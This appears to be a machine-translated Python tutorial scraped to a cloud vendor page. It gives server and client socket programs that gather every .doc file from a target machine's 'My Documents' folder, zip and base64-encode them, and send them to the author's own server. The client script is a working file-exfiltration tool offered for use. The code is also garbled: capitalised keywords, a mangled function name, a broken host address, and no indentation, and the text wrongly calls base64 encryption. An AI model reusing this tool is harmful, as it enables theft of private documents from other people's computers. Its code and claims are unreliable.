Python-Python tutorial

Source: Internet
Author: User
This article mainly introduces how python can obtain specified files from the client and transmit them to the server. it involves how to use Python to implement the CS architecture program and socket program, for more information about how to obtain the specified file on the client and transfer it to the server, see the example in this article. Share it with you for your reference. The specific analysis is as follows:

This program is implemented to obtain and transmit all certain types of files (controllable) in a directory of the target machine to your own machine.

1. base64 encode (infile, outfile) encryption and decode (infile, outfile) decryption are used. this is binary encryption and decryption.
2. zip compression
3. put server. py in the socket to your own python server. py, then put client. py to the target machine, and then python client. py.
4. this program sets to get the doc file. you can modify extName to get other types of files.

Server programs:

The code is as follows:

#-*-Coding: cp936 -*-
Import socket
Import win32com. client
Import OS
Import zipfile
Import codecs
Import base64
Def main ():
HOST = '2017. 0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6 M
Key = 'ouyang'
Timeout = 5
DicName = "ouyang \\"
Ss = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
Try:
Ss. bind (HOST, PORT ))
Ss. listen (5)
Print "wating for conntecting ..."
While True:
Try:
Cs, addr = ss. accept ()
Socket. setdefatimetimeout (timeout)
Cs. send ("200 Connected! ")
# Retrieving encrypted data
Encode_data = cs. recv (BUF_SIZE)
Writes data to the out.zip file.
Tmpfile = open ('out. tmp ', 'WB ')
Try:
Tmpfile. write (encode_data)
Tmpfile. close ()
Handle T IOError, e:
Print 'strange error creating IOError: % s' % e
Tmpfile. close ()
Finally:
Tmpfile. close ()
# Base64 decode 2 hexadecimal decryption decode (infile, outfile)
Tmpfile = open ('out. tmp ', 'RB ')
Outfile = open('out.zip ', 'WB ')
Base64.decode (tmpfile, outfile)
Tmpfile. close ()
Outfile. close ()
# Open a zip file
Zfile = zipfile.ZipFile('out.zip ', 'r ')
# Create a folder to store the obtained zip file
If not OS. path. exists (dicName ):
OS. mkdir (dicName)
For f in zfile. namelist ():
Data = zfile. read (f)
File = open (dicName + OS. path. basename (f), 'W + B ')
File. write (data)
File. close ()
Print "finished !!! "
Zfile. close ()
# Subsequent processing and deletion of temporary files
OS. remove ('out. tmp ')
Cs. close ()
Failed T socket. error, e:
Print 'strange error creating socket: % s' % e
Cs. close ()
Ss. close ()
Failed T socket. error, e:
Print 'strange error creating socket: % s' % e
Ss. close ()
If _ name __= = '_ main __':
Main ()

Client Program:

The code is as follows:

#-*-Coding: cp936 -*-
Import socket
Import win32com. client
Import win32api
Import OS
Import time
Import zipfile
Import codecs
Import base64
Def 1__dir (dir, filelist, extName, topdown = True ):
For root, dirs, files in OS. walk (dir, topdown ):
For name in files:
If (OS. path. splitext (OS. path. join (root, name) [-1] = extName:
Filelist. append (OS. path. join (root, name ))
For name in dirs:
If (OS. path. splitext (OS. path. join (root, name) [-1] = extName:
Filelist. append (OS. path. join (root, name ))
Def main ():
HOST = '2017. 0.0.1'
PORT = 2000
BUF_SIZE = 65535
Key = 'ouyang'
DicName = "C: \ Documents and Settings \ Administrator \ My Documents"
ExtName = '.doc'
# Traverse and search for the doc type of my documents
Try:
Filelist = []
Performance_dir (dicName, filelist, extName)
Handle T IOError, e:
Print "file processing error:" % e
Sys. exit (-1)
Cs = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
Try:
Cs. connect (HOST, PORT ))
Print cs. recv (BUF_SIZE)
# Compressing it into a zip file
Zfile = zipfile.ZipFile('in.zip ', 'W', zipfile. ZIP_DEFLATED)
For f in filelist:
Zfile. write (f)
Zfile. close ()
# Base binary encryption encode (infile, outfile)
Infile = open('in.zip ', 'RB ')
Tmpfile = open ('In. tmp ', 'wb ')
Base64.encode (infile, tmpfile)
Infile. close ()
Tmpfile. close ()
# Send
Tmpfile = open ('In. tmp ', 'RB ')
Cs. send (tmpfile. read ())
Tmpfile. close ()
# Subsequent processing and deletion of intermediate files
OS. remove ('In. tmp ')
Cs. close ()
Failed T socket. error, e:
Print 'socket error: '% e
Cs. close ()
If _ name __= = '_ main __':
Main ()

I hope this article will help you with Python programming.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.